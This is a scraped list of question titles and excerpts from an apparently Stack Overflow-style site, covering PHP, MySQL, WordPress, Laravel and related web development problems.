James Doe Jr.Happy holidays, if you celebrate it. I am trying to run the following query: $query = SELECT WHERE EXISTS (SELECT * FROM table WHERE val1="someVal" and val2="someVal"); print_r (mysql_fetch_assoc($query)); My goal is to create an associative array with only records from the matching row that...

0
Q: dropdown list with submit in yii

user3019375i want to have a drop down list and a submit button, when the button pressed i want to get the text of selected item and store it into db. my drop down code in view is : <?php $form=$this->beginWidget('CActiveForm', array( 'enableAj...

0
Q: php google map load content on zoom in and out

user3046565I m integrating Google map in my web application . I want to built something like http://180kart.no/?w=norix. On zoom out it loads sponser links at the bottom. I want to do the exactly same thing. I m using codeigniter. Any help will be appreciated. Thanks in advance

0
Q: Converting PHP date range to MYSQL individual dates

idelestI have an availability calendar in which I am currently adding in dates one by one, and using a mysql query to determine if there exists a row with a certain date and changing the class of the day to "booked" (Red). I would like to enter in a range into my form, and process it through php (or m...

0
Q: Grocery-crud add_action how to use the pk?

Ralph Schippersee this article of the website of grocery-crud: http://www.grocerycrud.com/documentation/options_functions/add_action for testing I used this line: $crud->add_action('Smileys', 'http://www.grocerycrud.com/assets/uploads/general/smiley.png', 'test'); so when I point my mouse on the smiley I ...

0
Q: Slim PHP Route in Middleware

Frank Michael SanchezIn Slim is it possible to get the current route within middleware? class Auth extends \Slim\Middleware{ public function call(){ $currentRoute = $this->app->getRoute(); // Something like this? } } I know you can call $app->router()->getCurrentRoute() after the slim.before.dispatch hook...

0
Q: Trouble deleting a specific row in php

Benners88I have been trying to delete a specific row from a table using php. I followed a guide online that made a table with the data in it with a delete button next to each row. When the delete button is clicked it should delete the row using the primary key "id". Instead it goes through the 'if' state...

0
Q: Modify complete MySQL table data using PHP interface

Gautam KrishnanI am trying to make an administrator interface for a MySQL table. I'm printing out the whole table data into input fields using PHP and want to save the edited changes to back to the table. My questions: How can I pass them arguments again as form data using POST method? How can I find out the ...

0
Q: HTML Img failing to show. Using WAMP server + CodeIgniter

Cata VisanSo this is the code of the view. For some reason the imagine does not show. Var_dumping $oProduct->img_path returns (I modified these paths for testing purposes , since I'm working with more db entries): 'W:/wamp/www/repos/adicris/imgs/products/logo.jpg' (one element) 'imgs/products/logo.jpg' (s...

0
Q: Yii accessControl does not work. accessRules()

mazraaraI have used accessRules() many number of times but suddenly in a new project it started not working for me. this is how i have assigned it. class DefaultController extends AppController { public function filters() { return array( 'accessControl', ); } ...

 
4:25 PM
0
Q: SQL - How do i use a selected ID in another table?

SindorejSQL TABLES: user = ID, name, email.. hero = ID, name, level.. owner = userid, heroid I have these two queries: $result = mysql_query("SELECT heroid FROM owner WHERE userid='$id'"); $heroid=mysql_fetch_row($result); $result2 = mysql_query("SELECT name FROM hero WHERE ID = 'heroid[0]'"...

-1
Q: Android pass $_GET string and pass to php convert as integer

user3022926is it possible to send a string variable from android to php but convert the string to integer. because i get errors when i try to convert the string to int then pass it to my php file. here's the code. package com.example.taxamsp; import java.util.ArrayList; import java.util.HashMap; import ja...

0
Q: How to return last 5 rows by date

user3005687$query = mysqli_query($connect,"SELECT * FROM posts WHERE postid like '$topic_id' ORDER BY postdate DESC LIMIT 5"); Returns: reply 10 reply 9 reply 8 reply 7 reply 6 $query = mysqli_query($connect,"SELECT * FROM posts WHERE postid like '$topic_id' ORDER BY postdate ASC LIMIT 5"); Return...

0
Q: Wich language is the best for a websocket server

user3046625I want to make a chat server with websocket. I have a traditional webserver with Linux and Apache. I was learning the PhP and the JAVA, bit i want to learn another language. I have a little question about this: wich of the following language is the best for a websocket server, and if i have made...

0
Q: Laravel 4 how do I keep checkbox checked after form is submitted

elodevIn part of my edit form I have check boxes. I can submit the form just fine, the values are stored in the database as comma separated values. So apple,microsoft etc. Which works fine but when I go back to the edit form the check boxes are not checked. I tried to echo out checked if the following...

0
Q: PHPExcel format column to date format 14-Mar

user2131419Is it possible to format a column (C2:C50) with PHPExcel with the following selected values: I really can't get this to work.. Already tried something like: $sheet->getStyle('C2:C50')->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DMMINUS); But when I look a th...

0
Q: Php default function first value

Alimon Karim PitoIn php default function have any solution for below code? function sum($num1=20,$num2=10) { $sum=$num1+$num2; echo $sum; } sum('',40);

0
Q: Dom and xpath php

Waldhoma AnaHopefully should be a simple question for someone that has done it before! I have a list of old web documents in table format with lots of depart and arrival time details in it. What I have managed so far is to create a PHP script that parses the XHTML doc and gets depart and arrival times and c...

0
Q: php variable into jquery hide function

TomCould someone help please Igot something like <div class="hidearea<?php echo $number?>">Example text Example text Example text Example text Example text </div> <script> $( '.hidearea<?php echo $number?>' ).hide(); </script> How to insert class from div into hide function as ?

0
Q: Json send request like this using php

user3037728Hi i wana send request to api using json but i dont know this will done. POST /api/v3/sso/sessions/ HTTP/1.1 Host: example.com Content-Type: application/vnd.api+json Authorization: Bearer ab1dcb45be7e43db2212b0d2b0ca3892 { "sessions": [{ "id": "wp1234567", "expires_at": "2013-11-1...

-4
Q: How to make a post to a web form

SkywalkerI want to create a program that will fill the form of some page on the Internet. How can I do this? It will be something like a robot filling forms and submitting them to the server. The program needs to get the form, fill its fields and then post it to the server.

0
Q: Grouping times values by hour

dargodResult of my query looks like that: 05:02:00 05:22:00 05:48:00 06:17:00 06:41:00 07:10:00 07:27:00 07:46:00 And what I would like to achieve is to have it like this: 5 - 02, 22, 48 6 - 17, 41 7 - 10, 27, 46 How can I do it in PHP?

0
Q: How to reduce overhead on a live gaming website

AzaloniaI'm developing a live gaming site for fun, and I realize that I'll most likely have to set the setInterval() function for my load.php program to a crazy rate (like every 0.3 seconds) so that my users will think that data is being loaded automatically. I'm looking to reduce the overhead that wil...

0
Q: PHP exec() command: execute in a specifed diretory

Elijah PaulI have the following code: chdir('../certs'); file_put_contents('input.csr', $csr); exec("openssl req -in input.csr -noout -out output.txt -text"); $outputFile = file_get_contents("output.txt"); unlink('input.csr'); unlink('output.txt'); chdir('../home'); Is there a way...

0
Q: PHP : pulling from MYSQL and converting it into a string

user3046690I am new to PHP/MYSQL and am trying to make a site based off of profiles and such. What I want to do is store the individuals site in the database just like "user1.php". When the user log's in I want to check for column which I have called profile_page. So far I have tried this but have not been...

0
Q: How to pass browser url to Selenium tests in Symfony2

urmaulI want to setup host name in application config and get it in Selenium tests. How can I do it in Symfony2? Or maybe there is a better way not to hardcode host name inside tests?

0
Q: Building a menu system with a PHP class

Glenn CurtisI mainly only use CakePHP to build sites with, but I am trying to push my PHP skills up to the next level. So I am looking at other frameworks and OOP (which I have never used within PHP before). So I set myself a little task of building a menu system, controllable from a database e.g. titles and...

0
Q: Bootstrap PHP unknown row in page

user3046686I started doing my school project and learning bootstrap basics but i have one problem with php code. I dont know how to delete this row in code. http://imgur.com/LP0U9CK That red box. As you can see in properties there is " ". When i delete it, row disappear. My index.php : http://pastebin.com/...

0
Q: cakephp - form helper's automatic validation & jquery - how to intercept

crazy sarahI'm a newbie and having trouble understanding how I can do this. I have a form, the inputs of which I have put in a default value to act as it's label, ie: <input id="first_name" value="Forename*" required="required"/> So that I don't need to use a label and my layout still indicates what's ...

0
Q: web api for scanning threats in website

BeginnerMy task is finding some web api for scanning dangerous threats in bussiness trading websites(Ex: malwares,or xss script). I found Safe Browsing Lookup API of Google (link for developer : https://developers.google.com/safe-browsing/lookup_guide. But i think it is not effect. Could you please sugge...

0
Q: Bash interaction with web page

Clive van HiltenI've adopted the php shell_exec approach given in the answer to my previous SO question here. The next issue is how I get the php and the script to work together so as to give the user the chance to enter the text. What should happen is the user is prompted to enter a string and then press the En...

-4
Q: IP blacklisted by google due to PHP cron issue

acidstrikeI've had one cron job went wront and system generated approx 3k emails to my personnel email address, I am using mail function in PHP to send emails with google credentials, now google sniffed the issue and blacklisted my IP due to which all the accounts on my VPS are not able to send an email...

0
Q: WooCommerce: Step-by-step varations choices of product

Daniel HolmI have a Wordpress site with WooCommerce installed. It's for a client thwa wants to sell products that has a lot of variations, that the customer has to choose between step-by-step. I'm thinking about if you could try to add some custom PHP code that does the trick, or maybe it is possible to us...

0
Q: Grapping first image from Facebook Page using cURL and PHP DOM

MattiasI am trying to fetch the first images on a Facebook Page. It works on other websites - using: $image = $doc->getElementsByTagName('img')->item(0); But for some reason, Facebook have wrapped in the 's i need, like this: <code class="hidden_elem" id="u_0_7"><!-- <div class="timelineLoggedOutSignUp"

0
Q: Codeignitor caching when I have a session variable

Hacker RockerI am facing a problem. I have a page where we have login button at the top of the page when the user logins in the login button changes into myaccount dropdown and loads the same page. I am using caching in the controller where i load the view of the page to increase the speed. But the problem...

0
Q: Made Wordpress Plugin - Shows up at top of entire site

user3017426I have just made some Wordpress Plugin for school. My PHP-files works just fine, but when I upload and activates them as plugin, they only shows up at top of the page. As yo understand, I am kinda noob... Suggestions? :)

-2
Q: How to concat 2 large files, PHP

magalterI have 2 large text files and want to concat them. Would like to get function like function ($filename1, filename2) { ... } content from $filename2 should be concated to $filename1. file_get_contents/file_put_contents eat a lot of memory so it is not a good solution. I want to use native P...

0
Q: Changing variable name to auto select an option in a form using HTML and PHP

samyb8I am creating a form to update some entries in a sql table. For one of the fields, I will have a Select Option that must be "selected" in the value that the field contains. So ideally, I would have something like this: <select id="source" name="source"> <?php if ($order['source'] = 'va...

0
Q: Symfony/Doctrine Rearranging Database Columns

GyhthWhen I go to generate a table using the doctrine:schema:update command line, it appears that Doctrine(or Symfony?) wants to throw in a command that rearranges my columns, putting the keys towards the front it would appear. I was wondering if, and more hopefully, where, I can disable this "feature...

0
Q: Simplest way of doing an OAuth 1.0 request in PHP?

Phil GyfordI'm writing some example PHP code for how to use an API that requires an OAuth 1.0 authenticated POST request. I have the consumer key and secret, and also an access token and secret. These are specific to my app using the API, and I don't need users to do an OAuth dance to get a unique access t...

-1
Q: Steam Condenser WEB getting inventory data

madziikoyUsing steam condenser with laravel 4 and installed it via composer. I am trying to get the players inventory for dota2. I tried: $inventory = DotA2Inventory::createInventory('username'); print_r($inventory); But it gives me: Class 'DotA2Inventory' not found I am doing this on my User Contr...

0
Q: How move Facebook likes & shares to a new Wordpress site?

user3046767 I have a site-OLD and i create a site-NEW. Both are Wordpress. Same domain, same content(photos, posts), different theme, different Wordpress installation. I have some FB likes to photos and posts on my site-OLD and i want to transfer them to site-NEW. What is the right procedure? Thanks.

0
Q: Mongodb high cpu usage without connections

user2377227it has a high CPU, no connections. When the CPU connections are up to 80%. Why? Mongo is the problem? or php programing? If programming, why this high CPU when no connections? Mongo versión is v2.4.3 I usage DEBIAN. PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 14718 nobo...

0
Q: Laravel 4 Eloquent get ids of relations

Jon KoopsI'm building a client application that needs to have the ids of related models in my server API response. In my example I've got two models, a Post and a Tag model. The relationship between them is many-to-many, so a pivot table is required. class Post extends Eloquent { protected $fillabl...

0
Q: Triggered rule in drupal to create user account automatically

RavindraI am working on drupal6 to develop a web application for office automation. I have an Employee content type. Each time I create an employee content, an account should be created with user name, and email id taken from fields of employee content. I've searched for the same on net, and found few so...

0
Q: How often send Http request to server to check for updates? (Ajax)

user2743239I'm developing a small app using Ajax and http requests. Currently i'm sending one request each second to server for checking if there are updates, and if there are, to get them and download data. This timing profile is modified when a user interact with the app, but it's negligible. I'm just...

0
Q: mySQL custom sort order ORDER BY FIELD() issues

cronokleeI'm trying to sort the resutls of a SELECT statement using a custom order like so: SELECT * FROM table ORDER BY FIELD(id,4,5,6) LIMIT 6 I was expecting to have returned rows with ids: 4,5,6,1,2,3 but instead I'm getting 1,2,3,7,8,9. What am I doing wrong? As a side note: Prior to running this...

0
Q: PHP / Apache session dropping

StephaneIn my dev server setup (CentOS AMP), switching between two directories in my project has no issues. Unfortunately, in my live box (Ubuntu AMP), switching between two directories ( https://project.com/admin ) and https://project.com ) makes the user appear to be logged out. Returning to the prev...

0
Q: Pass parameters in cakephp function

user3042645$this->requestAction("/survey/responsethereuser/qid:$qid,uid:$uid,sid:$sid"); In my controller function responsethereuser($qid = null, $uid=null, $sid=null) It is showing on taking value of qid $qid=1,uid:3,sid:1 How to get all the parameter values correctly?

0
Q: Reverse engineering or Auto-Generations of Entities in Laravel?

Lory HuzI usually work with SF2, and with Doctrine, Entities can be generated automatically and if you build the schema in a Soft like MySQL Workbench you can do Reverse Engineering. I'm new to Laravel so there is a way to do these both things? I would use Laravel because I've to do a very little projec...

0
Q: access wordpress database using wordpress $wpdb

robotturtleI'm trying to create a simple plugin that has textfields which add to the wordpress database. I see the textfields when I upload the app, but I can't figure out the right way to read off the database to check if my data is being entered. Below is my code (the entire thing. I just have one file in...

0
Q: How to get data from a form and redirect the user to another page?

user2961869I have a form that you can see below. When the submit button is pressed, i want a script called "Orders.php" to send all the data to a database. Also, when the button is pressed, i want the user to be redirected to another page. The problem is that now when the php file is in the action property,...

0
Q: Svg image using javascript and php

Prince I want to display an image like below but if we increase the image height and width then image is distorted.How can we use svg image for it.

0
Q: Silex + Doctrine ORM Repositories not auto-generated with orm:generate:entities (CLI)

Jimbo Note: I am using Silex, and have set up Doctrine DBAL and ORM with the following: dflydev-doctrine-orm-service-provider. I have also set up a cli script that generates entities for me. To generate entities, I need to use the following command (the ../scr/ at the end is annoying, but it's wha...

0
Q: REcoding from ImageMagick syntax to PHP GD Image library

user3046784Can anyone help me with this problem? Here is the code that is not working anymore because my new hosting provider is not using ImageMagick on server, so instead i must use PHP GD Image syntax. elseif (isset($_POST['todoaction']) && $_POST['todoaction'] == 'save') { $original = 'o_'.$_POST['sli...

0
Q: Check if anything in one array matches anything in another array

Malthe Miltherswith the following arrays i PHP: $array1 = array(2,9,7); $array2 = array(6,8,2); How would write the following statement in code: if any value of $array1 matches any single value of $array2, then $match = true; ?? I imagine this is simple, but i cant figure it out Thanks!

0
Q: Why is the onclick attribute not working?

OliverI am trying to make a function in PHP that is like JavaScript's alert() command, but the OK button's onclick attribute is not working! Here is my code: <!DOCTYPE html> <?php function alert($title, $text) { $html = '<div id="alert" style="background-color:lightGray; text-align:center...

0
Q: Modify wordpress new post page

user3046799I am working for a client. He has installed a custom wordpress theme. The theme is for land properties. He add new properties everyday. They have registered members also, and in their profiles, they have selected some keywords in their profile for getting email alerts. Now the clients wants a fea...

0
Q: PHP DOTNET() not able to load from "System" assembly

RobertTrying to use the Microsoft's .NET classes from System.Security.Cryptography.X509Certificates located in System assembly raises the following error: $certificate2 = new DOTNET('System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'System.Security.Cryptography.X509Certifica...

0
Q: Why this returns Resource id#2 in php

user3033330I am just trying to read the html content of a website using php. For that I done the below code, but I am getting Resource id#2, what tis means? and how to read the html of a url in php? <?php $tuCurl = curl_init(); curl_setopt($tuCurl, CURLOPT_URL, "http://www.fforfriend.com"); curl_set...

0
Q: Trying to convert SimpleXMLObject to HTML using PHP

user3042967That is the first time for me to use the SimpleXMLobject, so I have have an XMLstring, which looks something like so: "<Body><SoapResponse><response><code>0</code><message>Success</message><id>123</id></response><details><a>123</a><b>ABC</c><d>1</d><e>XYZ</e><f>df</f><g>1</g><h>10</h></details><

0
Q: Get the name of the method that called another method

Guilherme OderdengeThe goal Get the name of a method that called another method. The problem I need to get a method name in another method, and now I'm using this: $crazyDinosaur = new CrazyDinosaur(300, 600); $crazyDinosaur->attack(new NinjaCat(), __FUNCTION__); How can I discover that CrazyDinosaur attacked...

0
Q: store array in array?

Mattias SvenssonI keep getting the error Warning: Cannot use a scalar value as an array in... From the second line below. getContainerSleepSettings() returns an array but that shouldn't be a problem should it? $sleepSettings = $this->getContainerSleepSettings($c); $containerHelper[$c->get...

-1
Q: check certificate with tcpdf

maetuljI need some help please. I am using tcpdf and have an pdf file which I want to upload to the server. When uploading this pdf file I want to check if it is digitally signed with a certificate, but I have no idea (nor has my google) how would I check this. Any suggestions?

0
Q: Symfony 2 - Change form renderer template depending on Bundle

puppetzSymfony ships with a form template inside form_div_layout.html.twig file. I want to change that template depending on the Bundle. Views inside Bundle A --> Show forms using form_div_layout.html.twig Views inside Bundle B --> Show forms using form_div_whatever_layout.html.twig Is that possible...

0
Q: Saving Data Of Dependent Dropdown - Yii

NamelusI am implementing a dependent dropdown and want to save their id in other table (CANDIDATE). I have a table named as DISTRICT which has three columns ID, NAME and CENTER_ID. My other table is CENTER which has two columns ID and NAME. By selecting the DISTRICT, i want the CENTER dropdown to be po...

0
Q: PHP mail form is not working

ElisandroI m having a problem with my email php form, when I click in the submit button an other page shows up saying There was a problem with your e-mail () I don't no what I am doing wrong? here is my code: html code <!-- Subscription Form --> <form class="email" action="form.p...

2
Q: How do I get the parent of an element?

OliverI am trying to make a function in PHP that is like JavaScript's alert() command, but when I click the OK button on one alert, all of the alerts disappear! Here is my code: <!DOCTYPE html> <?php function alert($title, $text) { $html = '<div id="alert" style="background-color:lightGra...

0
Q: CRUD api - connecting frontend and backend

user1766361I want to know basic of creating an api key to connecting frontend and backend via an API with basic CRUD function... So I have a database: CREATE TABLE STATION (ID INTEGER PRIMARY KEY, CITY CHAR(20), STATE CHAR(2), LAT_N REAL, LONG_W REAL); populate the table STATION with a few rows: IN...

0
Q: php SoapClient and load balancing server

user3046774I am working on a php SoapClient. The Soap server is a .NET server. Everything works fine when the client calls a http address and when the answer come from the server that the client calls. The issue I have is that the client must call a https address and the server uses a load balancing system...

0
Q: .htaccess working on one domain but not another same server

MadScientistI have an htaccess file that redirects ALL urls and subdomains to index.php. It is working fine on one domain but not on another. The only difference is that one domain is a .ca and the other a .com. They are both hosted on the same server. Here is my access file if anyone can tell me if ther...

0
Q: Joomla and PHP error: Warning: Creating default object from empty value

Mr RebelI´ve installed a module for Joomla 3.1.5 on my WAMP-server with Apache Version: 2.4.4 and PHP Version: 5.4.12 and now I get this error: Warning: Creating default object from empty value in C:\Users\ [my_document_root] \www\plugins\content\images\images.php on line 90 Where www catalogue are the...

0
Q: php will not run in my .htm page?

user3046845index.htm I have 6 lines of PHP code that wont run on my page I don't get an error of any kind it just wont run if you look in source it shows my raw PHP. I have a file named test.php that works fine. in test.php I only have those 6 lines of code that you can see in my index.htm Server Name ...

0
Q: how to create array in php to form the following json structure

ABCI want to create the following JSON string through code. The easiest way to create an array and then use json_encode to convert that into a string. How can I generate the array? Recursive array should be a good solution for this. Could you please help me to fix the following array? function getJ...

0
Q: PHP check string for any array items

David GI have an array of say 4 strings. How do i check to see if ANY of them are in a string and then return a true value if ANY are found in the string. Have tried strpos but for that, the needle has to be a string or integer, and cannot be an array. Is there a case insensitive way other than checki...

0
Q: Recursive function to get numbered tree of categories in php

Jonáš A SabínaI have a big problem with a nested array, that contains category tree: Array( [1] => Array ( [parent_id] => 0 [category_id] => 1 [name] => Auto-moto [path] => Auto-moto [children] => Array ( [4] => Array ...

0
Q: Laravel 4 with bootstrap-datepicker

Marco AndradeI'm using Laravel PHP Framework with Bootstrap. I want to know how to insert a datepicker in to a form. I already have the bootstrap-datepicker installed but do not know how I will use. Here is the code of my form: {{ Form::open(array('action' => 'HomeController@postRegister')) }} <p>{...

0
Q: Converting nested object to an array in PHP

user3045674I'm using Laravel 4 Response::json function and having trouble with passing an object. I have an object of User, containing some other objects - Account and Settings. I tried to cast the object to array, but the internal objects (Account and Settings) stay as object. Is there an easy way to conve...

-2
Q: Change the backgroundColor to Image in Javascript

Md Nurullah HussainI am using a plugin where have SVG . There have a background color with dynamic option in admin panel as $bg_color. But i want to use transparent image instead of color. But how can i write it properly whithour syntax error. I am getting syntax error now. Main Code : backgroundColor: {fill:'".$...

0
Q: preg_match() include New line

JamesI have a simple preg_match where I am using an expression to retrieve the title of a page. The problem seems to be when there is a new line whitespace: $title_expression = "/<title>(.*)<\/title>/"; $thetitle= '<title> Bolso mano piel joya - BOLSOS ACCESORIOS -Stradivar...

0
Q: apache2 keeps serving old versions of php files

yassine el khanboubias in the title, this problem still persist, i've configured a virtualHost in apache2(on Ubuntu 12.04 on OVH Dedicated server), i've put a simple index.php in the base directory of my VirtualHost that contains this simple code: <?php echo "Hello world! "; ?> but when i update my file by adding...

0
Q: Undefined Variables in row

Yoyo2965259I am newbie to php. I am using dreamweaver to write the php. I need to develop a system for customer ordering system for my Coursework. I wish to display the product to customer but it can't work. It ask for defined variables in row. Here is the undefined variables: <td width="300"> <b>

0
Q: steam-condenser: class not found

madziikoyUsing steam condenser with laravel 4 and installed it via composer. I am trying to get the players inventory for dota2. I tried: $inventory = DotA2Inventory::createInventory('username'); But it gives me: Class 'DotA2Inventory' not found I am doing this on my User Controller. Here is the i...

0
Q: How to properly manage objects in curl_multi considering it will never end?

HavenardI'm writing a semi-daemon script in PHP that is supposed to perform parallel calls with curl and curl_multi that will be added on demand while the curl_multi is running. Basically I have: $curl_multi = curl_multi_init(); for (;;) { $curl = curl_init(); /* . ...code preparing...

0
Q: argument must be greater then 0 - how is this possible when the value is greater then 0

TheWebsSo I am doing the following in PHP: $cost = $this->reportDataStructure['ext_cost'] / $this->reportDataStructure['quantity']; var_dump($cost); // Outputs: float(220) $this->reportDataStructure['cost'] = sprintf("%$.2f", $cost); And I keep getting Warning: sprintf(): Argument number must be gr...

0
Q: Adminer stops working after the file is edited?

Richard RodriguezI opened the index.php file of Adminer 3.7.1 in Sublime Text 2 as UTF-8, then simply saved it back as UTF-8 and the adminer stopped working. Does anyone have any idea why? Did anyone try editing this file? I tried more encodings and it always breaks the file.

0
Q: PHP PDO pagitation data display limit not working

Obaidul HyeI am trying to use pagitation to show a specific number of hyperlinks in every page. These hyperlinks are populated from mysql database. Next, Previous, First, Last etc links are displaying, total page number and current page number are displaying fine, hyperlinks are displaying and working too. ...

-1
Q: How to output elements in an array with four or more letters in PHP and state how many times they occur

user1821728how do i ouput the words with four or more letters in them from the array and state how many times they occur $selection = array("house", "are", "better", "love", "dog", "love", "don't", "me", "like", "apples", "frank", "better", "you", "like", "house", "better",...

0
Q: php postgresql table formatting

georginaWhat I want to do is put this table all into little sections, so say I have 'Nokia N900 Maemo Black 3.5 499.00 Nokia's first and last Linux phone' and then the next phone description to the left of that or something like that anyway, just so it looks presentable and not like one block of text. ...

0
Q: How set id from database to php sesion on link click

piotrbut lets talk from the begin. I am creating website similar like wordpres blog index page (can't show picture bescause dont have enough reputation). And then I click read more link in the intro article I want save that article id from the database to php sesions. Here is the code. ...

0
Q: Insert CURRENT_TIME minus 1 hour?

GeekGirlI have a database table with a timestamp column named "lastfed". Does someone know how I can update that column with current time minus for example 1 hour? $query = $db->prepare("UPDATE test SET fullness = $newFullness, lastfed = CURRENT_TIME WHERE id = ?");

0
Q: SyntaxError: JSON Parse error: Unrecognized token '/'

user2798470What problem? And how? js code var Login = function () { var handleLogin = function() { var ajaxLogin = function(form) { form = $(form); $.ajax({ type: "POST", url: "login.php", data: form.serialize(), dataType: "json", ...

0
Q: wp_footer(); called before body but W3 Total Cache shows an error

roymckrankI have installed in my site the W3 Total Cache plugin, and lately this error appeared: Your active theme: · Has the call to but it is not called directly before the closing body tag This is the end of my footer.php archive: <script type="text/javascript"> var _gaq = _gaq || []; _...

0
Q: Storing session data in database AND memcache

rodrigo-silveiraGoogle App Engine for PHP stores session data in memcache, which is nice and fast (and cheap), but session data from memcache seems to be clearing out after 8-10 min, which is much less than I need it. Following Google's advice, ...data in App Engine memcache may be flushed periodically, mean...

-4
Q: php array is null after appending elts

5erIm having problems with appending items to array. First I init the empty array and then I want to put elemnts inside. But, result on the end is empty array. $aditivs = array(); function handle_Aditiv($ArrVal){ $id_aditiv = $ArrVal['id']; $code = $ArrVal['code']; $arrLocal = array(); ...

0
Q: Adding a column of checkboxes to a postgresql table

user2988960I have a postgresql table of phones containing columns such as name, price etc. I want to add a column of checkboxes to this table, which the user can use to select which phones they want. It is important that the checkbox is somehow linked to the corresponding phone so that I can create a shoppi...

0
Q: Avada theme, Wordpress, Header Customization

Francesco Lupo Renzii'm having an issue with avada theme i'm not managing to solve myself. For the specific case of the site i'm working on I need to have the logo centered and inline with the menu (3 menu , logo, 3 menu ). I can't find where to modify the final HTML file the theme produces, does anyone knows how to...

0
Q: PHP/PGSQL configured and running on Mavericks (10.9) but pdo_pgsql won't configure

user3046857I've just upgraded to MacOS Mavericks (10.9) and I'm using the Postgres.app install. I followed the instructions in the answer to Enabling PostgreSQL support in PHP on Mac OS X to make PGSQL accessible again. I included the --with-pgsql=/path/to/pgsql option to address the "Cannot find libpq-fe...

0
Q: Error with a script on indefero

user2451636I tried to launch a script (a bootstrap.php) on indefero but I have an error and I don't understand where is the problem. PHP Fatal error: Uncaught exception 'Exception' with msg 'Impossible to load the function: IDF_Migrations_Install_setup' in /home/www/pluf/src/Pluf.php:233 Stack trace: 0 ...

0
Q: PHP PDO can not find drivers

K_GI am playing around with creating a database class that can be called via DB::table('test')->where('id', 1)->get(); Here is my code for creating the PDO in table(): $engine = static::$db_config['engine']; $host_name = static::$db_config['host']; $db_name = static::$db_config['database']; $use...

0
Q: What does error fetchmock() on a non object mean

RayThis relates to a previous question: phpunit testing Call to a member function fetchMock() on a non-object So I can try and understand what's going on what would cause this error? How do I translate this error message? This relates to a specific test: public function testShow() { $this->m...

0
Q: php code /html PHP Parse error: syntax error, unexpected $end?

user3046981 $passstr="not reset"; echo "\r\n"; echo "\n"; if ( $_GET['astar'] == "show" ) { echo $=data."\r\n*".$idata."\r\n"."\r\n*"; }

0
Q: Zend Framework - Message: The supplied parameters to Zend_Auth_Adapter_DbTable failed to produce a valid sql statement

NilsI get this Error: Message: The supplied parameters to Zend_Auth_Adapter_DbTable failed to produce a valid sql statement, please check table and column names for validity. Public: protected function _getAuthAdapter() { $dbAdapter = Zend_Db_Table::getDefaultAdapter(); $authAdapte...

0
Q: Android get info from mysql - php

user2141889I am trying to fetch some info from my mysql database, the user unique_id. I have been following tutorial online and changing the parts to just create simple function that returns json object. However when I am trying to launch that method I'm getting errors: No database selected value no of jav...

0
Q: Export a canvas to .png and store it on a server using Cappuccino

saeppiI'd like to take a snapshot of a canvas like this (Example), export it to a .png and store it on a server like HTML5 is able to do (Example2). Is that possible within the Cappuccino framework?

0
Q: Obtaining a static auth token for Google APIs

D.R.I want to add a row to a Google Spreadsheet using PHP and the following library: https://github.com/asimlqt/php-google-spreadsheet-client which seems to be pretty simple. However, I don't know how to obtain the required access token via the suggested Google's https://github.com/google/google-api...

1
Q: google API javascript code inside php

KarimkhanIn my php page I am storing users city when he comes to mysite. Here is google API I got from web. <script type="text/javascript" src="http://www.google.com/jsapi?key=ABQIAAAAp04yNttlQq-7b4aZI_jL5hQYPm-xtd00hTQOC0OXpAMO40FHAxQMnH50uBbWoKVHwgpklyirDEregg"></script> <script type="text/javas...

0
Q: How to arrange character from array variable in php

MD. ABDUL HalimI want to arrange/combinate all possible way in php. I got many possible permutation. but i don't get my expectation. I would like to do arrange/combination like below For example I will give input is $var_arr = array("a","b","1","2"); Output will be a b 1 2 aa ba 1a 2a ab bb 1b 2b a1 b1 ...

0
Q: javascript to php conversion..chars.substring

Vishnui am trying to convert below piece of javascript code to php function randomString(len) { var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmn opqrstuvwxyz"; var string_length = len; var randomstring = ''; for (var i = 0; i < string_length; i++) { var rnum = Math.floor(Math.random() * ...

0
Q: mail not reached to my email id

user242526i have this code in my contact page. <script src="js/jquery-1.9.1.min.js"></script> <script src="js/main.js"></script> <script> jQuery(document).ready(function() { $("#submit").click(function() { var pattern = /^[a-zA-Z0-9\-_]+(\.[a-zA-Z0-9\-_]+)*@[a-z0-9]+(\-[a-...

0
Q: What is the correct way to design my webpage form flow with PHP?

Ethan AllenI currently have a PHP page called item.php that has a link on it "Add Item". When a user clicks the link, it takes them to save.php, where the page does some stuff like saving the item to the database. On that page, there is a redirection after the saving code has run: header("Location: item.p...

0
Q: How to insert data into a database?

user2961869I have a website where people create a design and fill in their details in a <form>. There are 3 pages: The design page: this is where a design is made, when the "Done" button is pressed, a variable is created with the design info, like a long string. The form page: where they fill in a form wi...

0
Q: Inserting text file into MySQL table

Ds.109This is what the text file looks like ... Adad,s,585769,M,1f1,1Ig2,S1,9834,9057, ,"AU9"," ",,AVI1ORCBTT1O1D5F,"","" Bic,Nenja,472080,M,2D,22,S2,223,90523,41924,"B016"," ",Voiol Proam Level 2,ADA2OJ2OBA,"","" This is what my code looks like .. if(isset($_POST['submit'])){ $allowedExts = "txt...

1
Q: Image file input not being picked up in Codeigniter

OmadeI have a web page form that needs to select image and upload to a file, but for some reasons i dont know the image is not being detected. I might be missing something. The image folder is was created in the same folder as the application and system. Find the code below View <div id="gallery">

0
Q: How to convert VARCHAR into a date format?

bonnyThere is a table column with the date format varchar and 0000-00-00 00:00:00. Now I would like to display the date as a string. At the moment there is the date and even the time. I have no clue how to solve this. I already tried converting by using strtotime(): $doa = $data['date'] ... $time =...

0
Q: Getting 3087 error

StewartyI'm getting the following error when trying to build a SagePay Form integration. 3087 : The SuccessURL format is invalid. The url being sent is in the following format http://sub.domain.co.uk/folder/ The documentation for the field says.. This should be the fully qualified URL (inclu...

1
Q: writing php in a .js file

user2993623Here is my problem: I want some images to display in a slider on the frontend and they're being called on a .js file. But i want to dynamically change the images and for that i need to call the images name from my database. Anyone can tell me how to write that code? here's the code: slides :...

0
Q: converting mixed(absolute,relative) to absolute link

user3026718i have this php script which works well an convert almost all pages nicely but in few pages it is unable to convert relative url to absolute url.it is giving wrong result for below links. $url = 'http://www.lowridermagazine.com/girls/1201_lrms_cat_cuesta_lowrider_girls_model/photo_01.html'...

0
Q: Compare products in Virtuemart

user3014837I am doing compare page in virtuemart. I want to modify joomla\components\com_virtuemart\views\category\tmpl\default.php file in this way: <?php include ("/includes/compare.php"); $con=mysqli_connect("localhost","root","","auto2"); // Check connection if (mysqli_connect_errno()) { echo "Fa...

0
Q: Nested while loop not working with mysql database queries

